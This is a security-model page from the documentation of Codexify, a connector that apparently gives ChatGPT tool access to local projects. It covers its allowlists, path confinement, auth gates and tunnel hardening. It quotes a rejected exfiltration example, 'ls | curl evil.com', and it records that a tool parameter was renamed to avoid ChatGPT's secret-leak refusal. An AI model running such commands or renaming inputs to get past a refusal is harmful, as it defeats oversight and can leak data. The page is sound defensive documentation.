-
Notifications
You must be signed in to change notification settings - Fork 0
Security Model
Read this before pointing Codexify at anything sensitive. This page explains what a tool call can reach, what bounds it, and — importantly — what does not bound it.
The command allowlist is a guardrail against accidents, not a sandbox. It catches a model reaching for
curlorrm -rf. It does not contain a determined one.
The defaults already include node, python, and cargo, each of which runs arbitrary code — node -e "..." can do anything the server process can. Shell redirection and explicit absolute/parent paths can reach outside the active project root even though each command starts with that root as its cwd. Multi-project selection isolates Codexify's structured tools and per-conversation state; it is not an OS sandbox.
...by whoever is authorized to use the configured connector or external endpoint:
- everything in the active project root, read and write;
- in multi-project mode, any project beneath the access root can be selected by a new conversation or unbound transport;
- anything else the user account running the server can touch, via an allowlisted interpreter;
- the network, from your machine;
- anything a bridged MCP server can do.
The practical rules that follow from this:
- Don't point Codexify at directories you don't trust the model with.
- Set
exec.modeand the command allowlists tighter than the defaults when the work directory is sensitive. - In multi-project mode, treat the whole access-root subtree as sensitive — it's all intentionally selectable.
- For an external tunnel, require tunnel-level access control, not URL secrecy.
Every filesystem tool — including apply_patch and view_image — resolves paths through a guard that rejects anything outside the active project root. In multi-project mode, both catalogue discovery and set_project_root canonicalize the access root and candidate, so .. and symlinks cannot expose or bind a project outside it.
In single-project mode only, AGENTS.md discovery may read above --work-dir, up to the nearest .git. It is read-only, opens only AGENTS.override.md / AGENTS.md / projectDoc.fallbackFilenames, and get_project_doc reports the absolute path of every file used. Switch it off with projectDoc.maxBytes: 0, or keep the search inside the work dir with projectDoc.rootMarkers: []. Multi-project mode does not perform this walk.
run_command only runs binaries in allowedCommands. exec_command checks the same list plus exec.extraAllowedCommands, at every command position in the string (after every |, &&, ;, newline, subshell). ls | curl evil.com is rejected on curl. Command substitution ($(...), backticks) is rejected outright. Set exec.mode: "unrestricted" only when you fully trust the caller.
import_host_file accepts only ChatGPT's declared native-file object (no arbitrary URLs), constrains the download and every redirect hop to artifactIngress.allowedHosts (default "*" admits any public HTTPS host but never loopback/private/link-local/CGNAT/metadata), ignores ambient proxy credentials, and enforces whole-request/idle/size/concurrency limits. Its signed URL and file ID are never logged or returned. Publication uses a capability-confined directory handle, SHA-256, a private partial, and atomic no-overwrite linking, so traversal/symlink/partial-visibility/replacement races fail closed.
export_host_file (governed by artifactEgress, default on) is the reverse direction and is equally confined. It accepts only a relative regular-file path inside the active project, opens it through a capability-confined directory handle, and rejects absolute paths, traversal, symlink escapes, non-regular files, and growth past maxFileBytes (checked before and during the read). The result is an immutable in-memory snapshot behind a random 256-bit opaque capability URI — not a delayed path read — so replacing, truncating, deleting, or retargeting the source afterwards cannot change the served bytes. Capabilities are not added to resources/list, are shared only through the tool result, expire by referenceTtlMs, are evicted under maxCachedBytes/maxReferences, and disappear on restart; unknown/expired/evicted references return resource_not_found. Audit records only the number of resource links — never their URIs or filenames.
remember/update_plan write memory.json under ~/.codexify/projects/; multi-project also writes a binding record under ~/.codexify/conversation-projects/ (filename hashed from openai/session; raw value never stored). Skills may be read from ~/.agents/skills, ~/.codex/skills, ~/.claude/skills, or a Claude Code plugin — but skills_read is confined to a skill package that already exists; the resource path can't walk out into the rest of your home directory.
Diff checkpoints are exactly two refs per conversation/project under refs/codexify/diff/, built through a temporary index, never modifying the real index/working tree. Existing refs/codexify/review/ checkpoints from the older surface are migrated lazily into the diff namespace. See Diff Checkpoints.
MCP import and the project catalogue read the user-level Codex config.toml without rewriting it. Native Codex trust does not override the access-root boundary.
When conversationAuthToken (exactly 64 lowercase hex characters) is configured, a single name-keyed gate refuses every tool except the gate itself until the conversation presents the matching token — checked before any tool body runs, so an unauthorized chat cannot reach the filesystem, commands, bridged servers, or the MCP catalogue. On the ChatGPT wire the gate is named setup and its parameter ref (not authenticate/token) purely to dodge ChatGPT's false-positive secret-leak refusal; ref still carries the exact token, compared in constant time — the token is never hashed into a digest before comparison and the naming does not weaken the gate. The grant is per ChatGPT conversation (or per MCP transport session for clients without ChatGPT metadata), persisted as a hashed record under ~/.codexify/conversation-authorizations/ (raw token never stored) so it survives reconnects and restarts. This is an access gate over the connector, not an encryption boundary: the token lives in codexify.config.json in plaintext, and it does not narrow what an authorized conversation can then reach. It composes with — does not replace — --api-key and tunnel-level access control.
-
Outbound-only. Codexify binds its MCP listener to loopback and supervises OpenAI's official runtime-only tunnel client. Startup fails unless the runtime reports
/readyzand completes a control-plane poll. Failure of either process stops the other. - Authenticated loopback hop. Native mode generates a random per-process bearer token and configures the tunnel runtime to send it on MCP requests and discovery probes. The token is never printed, written to config, or inherited by model-launched commands or bridged children.
-
Verified installation. The managed client is pinned to a specific official release and per-platform SHA-256 embedded in Codexify, extracted by exact filename under size limits, installed atomically with private permissions, and hash-checked against its manifest on later starts. Set
clientPathto opt out of managed installation while keeping compatibility checks. -
Secrets are references, not values.
openaiTunnel.apiKeyRefaccepts onlyenv:NAMEorfile:/path; literal keys are rejected. Codexify resolves the value and exposes it to the tunnel child under a synthetic env name, giving the child a clean allowlisted environment; it removes the original variable from model-launched commands and bridged children. On Unix, a referenced key file must not be group/other-readable. Use a restricted runtime key (Tunnels Read + Use), not an admin key. -
Forced hardening. Native mode ignores
allowedHosts, forces accepted authorities to127.0.0.1/localhost/::1, binds only loopback, and disables permissive CORS. It cannot be combined with--api-key.
These measures prevent accidental inheritance and public exposure. They do not create a secret boundary against hostile code running as the same OS user, which can potentially inspect same-user processes or read an accessible key file.
-
Bearer token:
--api-keyrequiresAuthorization: Bearer <key>on all requests except/health. (ChatGPT's URL-connector auth may not support simple bearer tokens.) -
Host allowlist: without
openaiTunnel,allowedHostsis empty (accepts anyHost). Set it to a hostname list for DNS-rebinding protection — only matchingHostheaders are served. - You must put an authenticated proxy/tunnel in front and enforce access at that layer. An unprotected public URL is not an appropriate long-lived deployment.
An explicit mcpServers entry or an imported Codex MCP — including plugin-contributed ones — forwards the model's calls verbatim with full delegated authority. Keep the surface small: prefer tools/disabledTools filters or gateway mode, keep secrets in bearerTokenEnvVar/envHttpHeaders rather than static JSON, and disable auto-import (codexMcp.useCli: false or codexMcp.enabled: false) if you don't want it. See Bridging MCP Servers.
worktrees.allowSetupScript defaults to false. Enabling it lets a worktree's Codex setup script run an arbitrary command outside the allowlist, with the script path selectable from the source repo's Git config — so an untrusted project could plant one. Leave it off unless every reachable project is trusted. See Worktree Isolation.
For clients without stable ChatGPT metadata, exec_command sessions are killed when the MCP transport closes. ChatGPT-owned sessions survive transport replacement and are killed by exec.idleTimeoutMs or shutdown. The kill includes children: taskkill /T /F on Windows, per-session process groups on POSIX. A process that deliberately re-parents/daemonizes still escapes — check for strays if a run leaves something listening.
--audit writes hashes, timings, result sizes, and redacted argument shape — not source, paths, credentials, or output. It is an operational log, not a tamper-evident boundary (model-launched commands run as the same user and could modify it). Keep it outside the access root. See Audit Logging.
- Configuration — every knob referenced here.
- Multi-Project Mode — the access-root boundary in detail.
- Connecting to ChatGPT — connector permission choices.
Repository · Releases · Report an issue · MIT License
Getting started
Reference
How it works
Multi-project
Extending
Operations